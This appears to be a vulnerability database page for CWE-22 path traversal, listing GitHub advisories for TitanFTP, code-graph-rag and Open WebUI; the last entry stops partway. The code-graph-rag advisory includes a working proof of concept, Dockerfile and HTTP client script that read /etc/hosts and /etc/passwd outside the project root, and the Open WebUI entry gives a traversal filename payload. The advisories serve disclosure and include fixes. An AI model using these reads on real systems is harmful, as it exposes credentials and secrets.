CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
16268 vulnerabilities reference this CWE, most recent first.
GHSA-VVQP-3HJ4-RJ73
Vulnerability from github – Published: 2023-02-14 21:30 – Updated: 2023-02-23 21:30An issue was discovered in TitanFTP through 1.94.1205. The move-file function has a path traversal vulnerability in the newPath parameter. An authenticated attacker can upload any file and then move it anywhere on the server's filesystem.
{
"affected": [],
"aliases": [
"CVE-2023-22629"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-02-14T20:15:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in TitanFTP through 1.94.1205. The move-file function has a path traversal vulnerability in the newPath parameter. An authenticated attacker can upload any file and then move it anywhere on the server\u0027s filesystem.",
"id": "GHSA-vvqp-3hj4-rj73",
"modified": "2023-02-23T21:30:17Z",
"published": "2023-02-14T21:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-22629"
},
{
"type": "WEB",
"url": "https://f20.be/cves/titan-ftp-vulnerabilities"
},
{
"type": "WEB",
"url": "https://titanftp.com"
},
{
"type": "WEB",
"url": "https://www.southrivertech.com/software/nextgen/titanftp/en/relnotes.pdf"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/171737/Titan-FTP-Path-Traversal.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VVR2-H2JP-838M
Vulnerability from github – Published: 2026-11-09 21:21 – Updated: 2026-11-09 21:21Summary
The read_file MCP tool in codebase_rag/mcp/tools.py contains a path traversal vulnerability in its paginated branch (when offset or limit is supplied). The handler constructs a file path using Path(self.project_root) / file_path without subsequently validating that the resolved path remains within the configured project root. Python's pathlib silently discards the left-hand component when the right-hand argument is an absolute path, allowing an attacker to read any UTF-8-readable file on the server by passing an absolute path such as /etc/passwd.
Details
Vulnerable location: codebase_rag/mcp/tools.py:556–565 (MCPToolsRegistry.read_file)
The read_file MCP tool accepts three parameters: file_path, offset, and limit. When either offset or limit is present the handler takes a distinct code path:
# codebase_rag/mcp/tools.py:556-565
async def read_file(
self, file_path: str, offset: int | None = None, limit: int | None = None
) -> str:
logger.info(lg.MCP_READ_FILE.format(path=file_path, offset=offset, limit=limit))
try:
if offset is not None or limit is not None:
full_path = Path(self.project_root) / file_path # ← VULNERABLE LINE
start = offset if offset is not None else 0
with open(full_path, encoding=cs.ENCODING_UTF8) as f: # ← SINK
Because pathlib.Path.__truediv__ replaces the left operand entirely when the right operand is an absolute path, any caller-supplied absolute path (e.g., /etc/passwd, /proc/self/environ) causes full_path to point outside the project root.
The non-paginated branch is protected by the @validate_project_path decorator (applied via codebase_rag/tools/file_reader.py:27) which performs .resolve().relative_to(project_root) (codebase_rag/decorators.py:73–75), but this decorator is never invoked in the paginated branch, leaving it completely unguarded.
Full data-flow (source → sink):
codebase_rag/config.py:302— HTTP MCP default host is0.0.0.0.codebase_rag/cli.py:717— CLI exposesmcp-server.codebase_rag/cli.py:726–731—--transport httpinvokesserve_http(host=resolved_host, port=resolved_port).codebase_rag/mcp/server.py:208–210— Starlette mounts the MCP HTTP endpoint.codebase_rag/mcp/tools.py:227–249—read_fileis registered as an MCP tool accepting attacker-controlledfile_path,offset, andlimit.codebase_rag/mcp/server.py:113–127—call_tooldispatches JSON arguments directly to the handler viaawait handler(**arguments).codebase_rag/mcp/tools.py:561–565— paginated branch buildsfull_pathand callsopen(full_path)without any boundary check.
The vulnerability is also present when using the stdio transport because the vulnerable code path does not depend on transport type; however, the attack is unauthenticated and network-accessible only when HTTP transport is configured.
PoC
Prerequisites:
- Docker installed.
- Repository cloned with the
vuln-001/artifacts present (Dockerfile, poc.py).
Build and run:
# From the repository root (parent of vuln-001/)
docker build -t vuln001-poc -f vuln-001/Dockerfile .
docker run --rm vuln001-poc
The Dockerfile installs the codebase_rag package from the local repository source, creates a "safe" project root at /tmp/safe-project-root, and runs poc.py.
What the PoC does (poc.py):
- Pre-mocks the
mgclient/pymgclientnative C extensions (Memgraph client) so the package imports without a live database. - Instantiates
MCPToolsRegistryviaobject.__new__(), setting onlyself.project_root = "/tmp/safe-project-root"— matching what the real server does. - Demonstrates the pathlib bypass:
Path("/tmp/safe-project-root") / "/etc/hosts"resolves toPath("/etc/hosts"). - Calls
registry.read_file("/etc/hosts", offset=0, limit=5)— the actual vulnerable method from the installed package. - Asserts that real
/etc/hostscontent is returned, confirming full boundary bypass.
Expected output:
[MCP] read_file: /etc/hosts (offset=0, limit=5)
[+] CONFIRMED: pathlib discards project_root when file_path is absolute
[+] read_file() returned:
# Lines 1-5 of 7
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00:: ip6-localnet
ff00:: ip6-mcastprefix
ff02::1 ip6-allnodes
[+] EXPLOIT SUCCESSFUL
[+] Content of '/etc/hosts' exfiltrated via path traversal
[+] Project root boundary '/tmp/safe-project-root' was completely bypassed
[+] VULNERABILITY CONFIRMED: VULN-001 CWE-22 Path Traversal
Equivalent HTTP transport attack (when server is running):
python3 - <<'PY'
import anyio
from mcp import ClientSession
from mcp.client.streamable_http import streamablehttp_client
async def main():
async with streamablehttp_client("http://127.0.0.1:8080/mcp") as (read, write, _):
async with ClientSession(read, write) as session:
await session.initialize()
result = await session.call_tool(
"read_file",
{"file_path": "/etc/passwd", "offset": 0, "limit": 10},
)
print(result.content[0].text)
anyio.run(main)
PY
Remediation:
--- a/codebase_rag/mcp/tools.py
+++ b/codebase_rag/mcp/tools.py
@@
async def read_file(
self, file_path: str, offset: int | None = None, limit: int | None = None
) -> str:
logger.info(lg.MCP_READ_FILE.format(path=file_path, offset=offset, limit=limit))
try:
if offset is not None or limit is not None:
- full_path = Path(self.project_root) / file_path
+ project_root = Path(self.project_root).resolve()
+ try:
+ full_path = (project_root / file_path).resolve()
+ full_path.relative_to(project_root)
+ except (ValueError, RuntimeError):
+ return te.ERROR_WRAPPER.format(
+ message=lg.FILE_OUTSIDE_ROOT.format(action="access")
+ )
start = offset if offset is not None else 0
with open(full_path, encoding=cs.ENCODING_UTF8) as f:
Impact
This is a path traversal / arbitrary file read vulnerability. Any network-accessible instance of the MCP HTTP server is impacted; no authentication is required in the default configuration.
An unauthenticated remote attacker can read any file on the server filesystem that is readable by the process running cgr mcp-server. Exploitable targets include:
/etc/passwd,/etc/shadow— credential disclosure.- Application secrets, API keys,
.envfiles, or private keys stored anywhere on the host. - Source code or configuration outside the intended project repository.
- Cloud instance metadata endpoints reachable via the local file path (e.g.,
/proc/self/environfor environment variable leakage).
The vulnerability is particularly severe because the HTTP transport binds to 0.0.0.0:8080 by default (codebase_rag/config.py:302), exposing the server to the network without any authentication requirement in the default configuration.
Reproduction artifacts
Dockerfile
FROM python:3.12-slim
# Install build tools needed for some dependencies
RUN apt-get update && apt-get install -y --no-install-recommends \
gcc build-essential \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app
# Copy the vulnerable repository source
COPY repo/ /app/repo/
# Install pure-Python dependencies (pymgclient is a native Memgraph client that
# requires a live Memgraph instance; we mock it in the PoC script instead)
RUN pip install --upgrade pip --quiet && \
pip install --quiet \
loguru \
"mcp>=1.25.0" \
"pydantic-ai>=1.102.0" \
"pydantic-settings>=2.12.0" \
"python-dotenv>=1.2.1" \
"tiktoken>=0.12.0" \
"toml>=0.10.2" \
"tree-sitter==0.25.2" \
"tree-sitter-python>=0.25.0" \
"watchdog>=6.0.0" \
"typer>=0.21.1" \
"rich>=14.2.0" \
"prompt-toolkit>=3.0.52" \
"diff-match-patch>=20241021" \
"click>=8.3.1" \
"protobuf>=6.33.5" \
"defusedxml>=0.7.1" \
"huggingface-hub>=1.7.2" \
"pathspec>=1.0.4" \
"griffe>=1.0,<2" \
httpx \
anyio
# Install the codebase_rag package from the cloned repo.
# --no-deps skips pymgclient and tree-sitter grammar forks that are uv-specific;
# all other runtime deps were already installed above.
RUN pip install --no-deps --quiet -e /app/repo/
# Create the "safe" project root that the victim server would normally restrict to
RUN mkdir -p /tmp/safe-project-root && \
echo "# This is a safe project file" > /tmp/safe-project-root/README.md
COPY vuln-001/poc.py /app/poc.py
CMD ["python3", "/app/poc.py"]
poc.py
#!/usr/bin/env python3
"""
PoC for VULN-001: MCP paginated read_file path traversal / arbitrary file read
=============================================================================
Repository : vitali87/code-graph-rag
Version : <= 0.0.343 (unpatched at HEAD commit f5d6bfd)
Vulnerable code location:
codebase_rag/mcp/tools.py lines 561-565 (MCPToolsRegistry.read_file)
Root cause:
When 'offset' or 'limit' is provided, the method builds the path as:
full_path = Path(self.project_root) / file_path # line 562
Python's pathlib discards 'project_root' when 'file_path' is an absolute path.
The non-paginated branch is protected by @validate_project_path, but this branch
has no such guard, so any absolute path is opened unconditionally.
Attack path (HTTP transport):
MCP client -> POST /mcp -> call_tool("read_file", {"file_path": "/etc/hosts",
"offset": 0, "limit": 5})
-> MCPToolsRegistry.read_file("/etc/hosts", offset=0, limit=5)
-> full_path = Path("/safe/root") / "/etc/hosts" ==> Path("/etc/hosts")
-> open("/etc/hosts") # no boundary check, file content returned
This PoC exercises the actual MCPToolsRegistry.read_file() method from the
installed package. The Memgraph client (mgclient) is pre-mocked in sys.modules
because it is a native C extension that requires a live database; it is NOT used
by the vulnerable code path. The MCPToolsRegistry instance is created via
object.__new__() to skip the __init__ that would connect to Memgraph -- the
paginated read_file branch only reads self.project_root, nothing else.
"""
import asyncio
import sys
from pathlib import Path
from unittest.mock import MagicMock
# ---------------------------------------------------------------------------
# Step 1: Pre-mock native dependencies that are irrelevant to the vuln path
# ---------------------------------------------------------------------------
# mgclient is a C extension (Memgraph client). It is imported at the top of
# codebase_rag/services/graph_service.py. Inserting a MagicMock lets the
# module import succeed without a native library or a live Memgraph server.
sys.modules["mgclient"] = MagicMock()
sys.modules["pymgclient"] = MagicMock()
# ---------------------------------------------------------------------------
# Step 2: Import the vulnerable class from the installed package
# ---------------------------------------------------------------------------
print("[*] Importing MCPToolsRegistry from installed codebase_rag package ...")
try:
from codebase_rag.mcp.tools import MCPToolsRegistry
except Exception as exc:
print(f"[!] Import failed: {exc}")
sys.exit(2)
print("[+] Import successful\n")
# ---------------------------------------------------------------------------
# Step 3: Build a minimal MCPToolsRegistry instance (bypassing __init__)
# ---------------------------------------------------------------------------
# __init__ connects to Memgraph and Qdrant -- neither is available here.
# The paginated read_file branch uses ONLY self.project_root, so setting
# just that attribute is sufficient to reproduce the vulnerability.
SAFE_ROOT = "/tmp/safe-project-root"
registry = object.__new__(MCPToolsRegistry)
registry.project_root = SAFE_ROOT
print(f"[*] MCPToolsRegistry instance created via object.__new__()")
print(f"[*] project_root = {SAFE_ROOT!r}")
print()
# ---------------------------------------------------------------------------
# Step 4: Demonstrate the pathlib absolute-path bypass
# ---------------------------------------------------------------------------
ATTACK_PATH = "/etc/hosts"
joined = Path(SAFE_ROOT) / ATTACK_PATH
print("[*] Pathlib join behaviour (the root cause):")
print(f" Path({SAFE_ROOT!r}) / {ATTACK_PATH!r}")
print(f" => {joined}")
print(f" Expected (safe) path: {SAFE_ROOT + ATTACK_PATH}")
assert str(joined) == ATTACK_PATH, (
f"Unexpected pathlib behaviour: expected {ATTACK_PATH!r}, got {joined!r}"
)
print("[+] CONFIRMED: pathlib discards project_root when file_path is absolute\n")
# ---------------------------------------------------------------------------
# Step 5: Call the actual vulnerable method
# ---------------------------------------------------------------------------
print(f"[*] Calling registry.read_file({ATTACK_PATH!r}, offset=0, limit=5)")
print(f"[*] Executing vulnerable line: full_path = Path(self.project_root) / file_path")
print(f"[*] Resulting full_path = {joined}")
print()
async def run_poc() -> str:
return await registry.read_file(ATTACK_PATH, offset=0, limit=5)
result = asyncio.run(run_poc())
print("[+] read_file() returned:")
print("-" * 60)
print(result)
print("-" * 60)
print()
# ---------------------------------------------------------------------------
# Step 6: Validate the output contains real /etc/hosts content
# ---------------------------------------------------------------------------
with open(ATTACK_PATH) as fh:
actual_hosts = fh.read()
# Accept any of: pagination header, loopback address, or raw /etc/hosts lines
confirmed = (
"Lines " in result # pagination header present
or "127.0.0.1" in result # standard loopback entry
or "localhost" in result # standard hostname entry
or "::1" in result # IPv6 loopback
or any(
line.strip() in result
for line in actual_hosts.splitlines()
if line.strip() and not line.startswith("#")
)
)
if confirmed:
print("[+] EXPLOIT SUCCESSFUL")
print(f"[+] Content of '{ATTACK_PATH}' exfiltrated via path traversal")
print(f"[+] Project root boundary '{SAFE_ROOT}' was completely bypassed")
print()
print("[+] VULNERABILITY CONFIRMED: VULN-001 CWE-22 Path Traversal")
sys.exit(0)
else:
print("[-] Validation failed -- could not find /etc/hosts content in result")
print(f"[-] Returned value: {result!r}")
sys.exit(1)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "code-graph-rag"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.345"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-77604"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-09T21:21:32Z",
"nvd_published_at": "2026-11-05T20:18:00Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe `read_file` MCP tool in `codebase_rag/mcp/tools.py` contains a path traversal vulnerability in its paginated branch (when `offset` or `limit` is supplied). The handler constructs a file path using `Path(self.project_root) / file_path` without subsequently validating that the resolved path remains within the configured project root. Python\u0027s `pathlib` silently discards the left-hand component when the right-hand argument is an absolute path, allowing an attacker to read any UTF-8-readable file on the server by passing an absolute path such as `/etc/passwd`. \n\n### Details\n\n**Vulnerable location:** `codebase_rag/mcp/tools.py:556\u2013565` (`MCPToolsRegistry.read_file`)\n\nThe `read_file` MCP tool accepts three parameters: `file_path`, `offset`, and `limit`. When either `offset` or `limit` is present the handler takes a distinct code path:\n\n```python\n# codebase_rag/mcp/tools.py:556-565\nasync def read_file(\n self, file_path: str, offset: int | None = None, limit: int | None = None\n) -\u003e str:\n logger.info(lg.MCP_READ_FILE.format(path=file_path, offset=offset, limit=limit))\n try:\n if offset is not None or limit is not None:\n full_path = Path(self.project_root) / file_path # \u2190 VULNERABLE LINE\n start = offset if offset is not None else 0\n\n with open(full_path, encoding=cs.ENCODING_UTF8) as f: # \u2190 SINK\n```\n\nBecause `pathlib.Path.__truediv__` replaces the left operand entirely when the right operand is an absolute path, any caller-supplied absolute path (e.g., `/etc/passwd`, `/proc/self/environ`) causes `full_path` to point outside the project root.\n\nThe **non-paginated** branch is protected by the `@validate_project_path` decorator (applied via `codebase_rag/tools/file_reader.py:27`) which performs `.resolve().relative_to(project_root)` (`codebase_rag/decorators.py:73\u201375`), but this decorator is never invoked in the paginated branch, leaving it completely unguarded.\n\n**Full data-flow (source \u2192 sink):**\n\n1. `codebase_rag/config.py:302` \u2014 HTTP MCP default host is `0.0.0.0`.\n2. `codebase_rag/cli.py:717` \u2014 CLI exposes `mcp-server`.\n3. `codebase_rag/cli.py:726\u2013731` \u2014 `--transport http` invokes `serve_http(host=resolved_host, port=resolved_port)`.\n4. `codebase_rag/mcp/server.py:208\u2013210` \u2014 Starlette mounts the MCP HTTP endpoint.\n5. `codebase_rag/mcp/tools.py:227\u2013249` \u2014 `read_file` is registered as an MCP tool accepting attacker-controlled `file_path`, `offset`, and `limit`.\n6. `codebase_rag/mcp/server.py:113\u2013127` \u2014 `call_tool` dispatches JSON arguments directly to the handler via `await handler(**arguments)`.\n7. `codebase_rag/mcp/tools.py:561\u2013565` \u2014 paginated branch builds `full_path` and calls `open(full_path)` without any boundary check.\n\nThe vulnerability is also present when using the `stdio` transport because the vulnerable code path does not depend on transport type; however, the attack is unauthenticated and network-accessible only when HTTP transport is configured.\n\n### PoC\n\n**Prerequisites:**\n\n- Docker installed.\n- Repository cloned with the `vuln-001/` artifacts present (Dockerfile, poc.py).\n\n**Build and run:**\n\n```bash\n# From the repository root (parent of vuln-001/)\ndocker build -t vuln001-poc -f vuln-001/Dockerfile .\ndocker run --rm vuln001-poc\n```\n\nThe Dockerfile installs the `codebase_rag` package from the local repository source, creates a \"safe\" project root at `/tmp/safe-project-root`, and runs `poc.py`.\n\n**What the PoC does (`poc.py`):**\n\n1. Pre-mocks the `mgclient` / `pymgclient` native C extensions (Memgraph client) so the package imports without a live database.\n2. Instantiates `MCPToolsRegistry` via `object.__new__()`, setting only `self.project_root = \"/tmp/safe-project-root\"` \u2014 matching what the real server does.\n3. Demonstrates the pathlib bypass: `Path(\"/tmp/safe-project-root\") / \"/etc/hosts\"` resolves to `Path(\"/etc/hosts\")`.\n4. Calls `registry.read_file(\"/etc/hosts\", offset=0, limit=5)` \u2014 the actual vulnerable method from the installed package.\n5. Asserts that real `/etc/hosts` content is returned, confirming full boundary bypass.\n\n**Expected output:**\n\n```\n[MCP] read_file: /etc/hosts (offset=0, limit=5)\n[+] CONFIRMED: pathlib discards project_root when file_path is absolute\n[+] read_file() returned:\n# Lines 1-5 of 7\n127.0.0.1\tlocalhost\n::1\tlocalhost ip6-localhost ip6-loopback\nfe00::\tip6-localnet\nff00::\tip6-mcastprefix\nff02::1\tip6-allnodes\n[+] EXPLOIT SUCCESSFUL\n[+] Content of \u0027/etc/hosts\u0027 exfiltrated via path traversal\n[+] Project root boundary \u0027/tmp/safe-project-root\u0027 was completely bypassed\n[+] VULNERABILITY CONFIRMED: VULN-001 CWE-22 Path Traversal\n```\n\n**Equivalent HTTP transport attack (when server is running):**\n\n```bash\npython3 - \u003c\u003c\u0027PY\u0027\nimport anyio\nfrom mcp import ClientSession\nfrom mcp.client.streamable_http import streamablehttp_client\n\nasync def main():\n async with streamablehttp_client(\"http://127.0.0.1:8080/mcp\") as (read, write, _):\n async with ClientSession(read, write) as session:\n await session.initialize()\n result = await session.call_tool(\n \"read_file\",\n {\"file_path\": \"/etc/passwd\", \"offset\": 0, \"limit\": 10},\n )\n print(result.content[0].text)\n\nanyio.run(main)\nPY\n```\n\n**Remediation:**\n\n```diff\n--- a/codebase_rag/mcp/tools.py\n+++ b/codebase_rag/mcp/tools.py\n@@\n async def read_file(\n self, file_path: str, offset: int | None = None, limit: int | None = None\n ) -\u003e str:\n logger.info(lg.MCP_READ_FILE.format(path=file_path, offset=offset, limit=limit))\n try:\n if offset is not None or limit is not None:\n- full_path = Path(self.project_root) / file_path\n+ project_root = Path(self.project_root).resolve()\n+ try:\n+ full_path = (project_root / file_path).resolve()\n+ full_path.relative_to(project_root)\n+ except (ValueError, RuntimeError):\n+ return te.ERROR_WRAPPER.format(\n+ message=lg.FILE_OUTSIDE_ROOT.format(action=\"access\")\n+ )\n start = offset if offset is not None else 0\n\n with open(full_path, encoding=cs.ENCODING_UTF8) as f:\n```\n\n### Impact\n\nThis is a **path traversal / arbitrary file read** vulnerability. Any network-accessible instance of the MCP HTTP server is impacted; no authentication is required in the default configuration.\n\nAn unauthenticated remote attacker can read any file on the server filesystem that is readable by the process running `cgr mcp-server`. Exploitable targets include:\n\n- `/etc/passwd`, `/etc/shadow` \u2014 credential disclosure.\n- Application secrets, API keys, `.env` files, or private keys stored anywhere on the host.\n- Source code or configuration outside the intended project repository.\n- Cloud instance metadata endpoints reachable via the local file path (e.g., `/proc/self/environ` for environment variable leakage).\n\nThe vulnerability is particularly severe because the HTTP transport binds to `0.0.0.0:8080` by default (`codebase_rag/config.py:302`), exposing the server to the network without any authentication requirement in the default configuration.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.12-slim\n\n# Install build tools needed for some dependencies\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends \\\n gcc build-essential \\\n \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\nWORKDIR /app\n\n# Copy the vulnerable repository source\nCOPY repo/ /app/repo/\n\n# Install pure-Python dependencies (pymgclient is a native Memgraph client that\n# requires a live Memgraph instance; we mock it in the PoC script instead)\nRUN pip install --upgrade pip --quiet \u0026\u0026 \\\n pip install --quiet \\\n loguru \\\n \"mcp\u003e=1.25.0\" \\\n \"pydantic-ai\u003e=1.102.0\" \\\n \"pydantic-settings\u003e=2.12.0\" \\\n \"python-dotenv\u003e=1.2.1\" \\\n \"tiktoken\u003e=0.12.0\" \\\n \"toml\u003e=0.10.2\" \\\n \"tree-sitter==0.25.2\" \\\n \"tree-sitter-python\u003e=0.25.0\" \\\n \"watchdog\u003e=6.0.0\" \\\n \"typer\u003e=0.21.1\" \\\n \"rich\u003e=14.2.0\" \\\n \"prompt-toolkit\u003e=3.0.52\" \\\n \"diff-match-patch\u003e=20241021\" \\\n \"click\u003e=8.3.1\" \\\n \"protobuf\u003e=6.33.5\" \\\n \"defusedxml\u003e=0.7.1\" \\\n \"huggingface-hub\u003e=1.7.2\" \\\n \"pathspec\u003e=1.0.4\" \\\n \"griffe\u003e=1.0,\u003c2\" \\\n httpx \\\n anyio\n\n# Install the codebase_rag package from the cloned repo.\n# --no-deps skips pymgclient and tree-sitter grammar forks that are uv-specific;\n# all other runtime deps were already installed above.\nRUN pip install --no-deps --quiet -e /app/repo/\n\n# Create the \"safe\" project root that the victim server would normally restrict to\nRUN mkdir -p /tmp/safe-project-root \u0026\u0026 \\\n echo \"# This is a safe project file\" \u003e /tmp/safe-project-root/README.md\n\nCOPY vuln-001/poc.py /app/poc.py\n\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: MCP paginated read_file path traversal / arbitrary file read\n=============================================================================\nRepository : vitali87/code-graph-rag\nVersion : \u003c= 0.0.343 (unpatched at HEAD commit f5d6bfd)\n\nVulnerable code location:\n codebase_rag/mcp/tools.py lines 561-565 (MCPToolsRegistry.read_file)\n\nRoot cause:\n When \u0027offset\u0027 or \u0027limit\u0027 is provided, the method builds the path as:\n full_path = Path(self.project_root) / file_path # line 562\n Python\u0027s pathlib discards \u0027project_root\u0027 when \u0027file_path\u0027 is an absolute path.\n The non-paginated branch is protected by @validate_project_path, but this branch\n has no such guard, so any absolute path is opened unconditionally.\n\nAttack path (HTTP transport):\n MCP client -\u003e POST /mcp -\u003e call_tool(\"read_file\", {\"file_path\": \"/etc/hosts\",\n \"offset\": 0, \"limit\": 5})\n -\u003e MCPToolsRegistry.read_file(\"/etc/hosts\", offset=0, limit=5)\n -\u003e full_path = Path(\"/safe/root\") / \"/etc/hosts\" ==\u003e Path(\"/etc/hosts\")\n -\u003e open(\"/etc/hosts\") # no boundary check, file content returned\n\nThis PoC exercises the actual MCPToolsRegistry.read_file() method from the\ninstalled package. The Memgraph client (mgclient) is pre-mocked in sys.modules\nbecause it is a native C extension that requires a live database; it is NOT used\nby the vulnerable code path. The MCPToolsRegistry instance is created via\nobject.__new__() to skip the __init__ that would connect to Memgraph -- the\npaginated read_file branch only reads self.project_root, nothing else.\n\"\"\"\n\nimport asyncio\nimport sys\nfrom pathlib import Path\nfrom unittest.mock import MagicMock\n\n# ---------------------------------------------------------------------------\n# Step 1: Pre-mock native dependencies that are irrelevant to the vuln path\n# ---------------------------------------------------------------------------\n# mgclient is a C extension (Memgraph client). It is imported at the top of\n# codebase_rag/services/graph_service.py. Inserting a MagicMock lets the\n# module import succeed without a native library or a live Memgraph server.\nsys.modules[\"mgclient\"] = MagicMock()\nsys.modules[\"pymgclient\"] = MagicMock()\n\n# ---------------------------------------------------------------------------\n# Step 2: Import the vulnerable class from the installed package\n# ---------------------------------------------------------------------------\nprint(\"[*] Importing MCPToolsRegistry from installed codebase_rag package ...\")\ntry:\n from codebase_rag.mcp.tools import MCPToolsRegistry\nexcept Exception as exc:\n print(f\"[!] Import failed: {exc}\")\n sys.exit(2)\nprint(\"[+] Import successful\\n\")\n\n# ---------------------------------------------------------------------------\n# Step 3: Build a minimal MCPToolsRegistry instance (bypassing __init__)\n# ---------------------------------------------------------------------------\n# __init__ connects to Memgraph and Qdrant -- neither is available here.\n# The paginated read_file branch uses ONLY self.project_root, so setting\n# just that attribute is sufficient to reproduce the vulnerability.\nSAFE_ROOT = \"/tmp/safe-project-root\"\n\nregistry = object.__new__(MCPToolsRegistry)\nregistry.project_root = SAFE_ROOT\n\nprint(f\"[*] MCPToolsRegistry instance created via object.__new__()\")\nprint(f\"[*] project_root = {SAFE_ROOT!r}\")\nprint()\n\n# ---------------------------------------------------------------------------\n# Step 4: Demonstrate the pathlib absolute-path bypass\n# ---------------------------------------------------------------------------\nATTACK_PATH = \"/etc/hosts\"\n\njoined = Path(SAFE_ROOT) / ATTACK_PATH\nprint(\"[*] Pathlib join behaviour (the root cause):\")\nprint(f\" Path({SAFE_ROOT!r}) / {ATTACK_PATH!r}\")\nprint(f\" =\u003e {joined}\")\nprint(f\" Expected (safe) path: {SAFE_ROOT + ATTACK_PATH}\")\n\nassert str(joined) == ATTACK_PATH, (\n f\"Unexpected pathlib behaviour: expected {ATTACK_PATH!r}, got {joined!r}\"\n)\nprint(\"[+] CONFIRMED: pathlib discards project_root when file_path is absolute\\n\")\n\n# ---------------------------------------------------------------------------\n# Step 5: Call the actual vulnerable method\n# ---------------------------------------------------------------------------\nprint(f\"[*] Calling registry.read_file({ATTACK_PATH!r}, offset=0, limit=5)\")\nprint(f\"[*] Executing vulnerable line: full_path = Path(self.project_root) / file_path\")\nprint(f\"[*] Resulting full_path = {joined}\")\nprint()\n\n\nasync def run_poc() -\u003e str:\n return await registry.read_file(ATTACK_PATH, offset=0, limit=5)\n\n\nresult = asyncio.run(run_poc())\n\nprint(\"[+] read_file() returned:\")\nprint(\"-\" * 60)\nprint(result)\nprint(\"-\" * 60)\nprint()\n\n# ---------------------------------------------------------------------------\n# Step 6: Validate the output contains real /etc/hosts content\n# ---------------------------------------------------------------------------\nwith open(ATTACK_PATH) as fh:\n actual_hosts = fh.read()\n\n# Accept any of: pagination header, loopback address, or raw /etc/hosts lines\nconfirmed = (\n \"Lines \" in result # pagination header present\n or \"127.0.0.1\" in result # standard loopback entry\n or \"localhost\" in result # standard hostname entry\n or \"::1\" in result # IPv6 loopback\n or any(\n line.strip() in result\n for line in actual_hosts.splitlines()\n if line.strip() and not line.startswith(\"#\")\n )\n)\n\nif confirmed:\n print(\"[+] EXPLOIT SUCCESSFUL\")\n print(f\"[+] Content of \u0027{ATTACK_PATH}\u0027 exfiltrated via path traversal\")\n print(f\"[+] Project root boundary \u0027{SAFE_ROOT}\u0027 was completely bypassed\")\n print()\n print(\"[+] VULNERABILITY CONFIRMED: VULN-001 CWE-22 Path Traversal\")\n sys.exit(0)\nelse:\n print(\"[-] Validation failed -- could not find /etc/hosts content in result\")\n print(f\"[-] Returned value: {result!r}\")\n sys.exit(1)\n```",
"id": "GHSA-vvr2-h2jp-838m",
"modified": "2026-11-09T21:21:32Z",
"published": "2026-11-09T21:21:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vitali87/code-graph-rag/security/advisories/GHSA-vvr2-h2jp-838m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77604"
},
{
"type": "WEB",
"url": "https://github.com/vitali87/code-graph-rag/commit/6541e920a27961fa8f3ff49ef38c0e0bd09cd626"
},
{
"type": "PACKAGE",
"url": "https://github.com/vitali87/code-graph-rag"
},
{
"type": "WEB",
"url": "https://github.com/vitali87/code-graph-rag/releases/tag/v0.0.345"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Code Graph RAG: MCP paginated read_file path traversal / arbitrary file read"
}
GHSA-VVXM-VXMR-624H
Vulnerability from github – Published: 2026-03-27 15:29 – Updated: 2026-03-27 15:29Summary
An unsanitised filename field in the speech-to-text transcription endpoint allows any authenticated non-admin user to trigger a FileNotFoundError whose message — including the server's absolute DATA_DIR path — is returned verbatim in the HTTP 400 response body, confirming information disclosure on all default deployments.
Details
backend/open_webui/routers/audio.py:1197 extracts a file extension from the raw multipart filename using file.filename.split(".")[-1] with no path sanitisation. The result is concatenated into a filesystem path and passed to open():
ext = file.filename.split(".")[-1] # attacker-controlled, no sanitisation
filename = f"{id}.{ext}" # may contain "/"
file_path = f"{file_dir}/{filename}"
with open(file_path, "wb") as f:
f.write(contents)
If the filename is audio./etc/passwd, split(".")[-1] yields /etc/passwd and the assembled path becomes:
{CACHE_DIR}/audio/transcriptions/{uuid}./etc/passwd
open() fails with FileNotFoundError. The outer except block at line 1231 returns the exception via ERROR_MESSAGES.DEFAULT(e), leaking the full absolute path in the response body.
The MIME-type guard at line 1190 checks Content-Type (a separate multipart field) and does not constrain filename. Setting Content-Type: audio/wav satisfies the guard regardless of the filename value.
This handler is the only file upload path in the codebase that omits os.path.basename(). Both sibling handlers apply it explicitly:
# files.py:244
filename = os.path.basename(file.filename)
# pipelines.py:206
filename = os.path.basename(file.filename)
Recommended fix — match the existing pattern and suppress path leakage in errors:
# audio.py:1197 — sanitise extension
from pathlib import Path
safe_name = Path(file.filename).name
ext = Path(safe_name).suffix.lstrip(".") or "bin"
# audio.py:1231 — suppress internal path in error response
except Exception as e:
log.exception(e)
raise HTTPException(status_code=400, detail="Transcription failed.")
PoC
Requirements: a running Open WebUI instance and one standard (non-admin) user account.
docker run -d -p 3000:8080 --name owui-test ghcr.io/open-webui/open-webui:latest
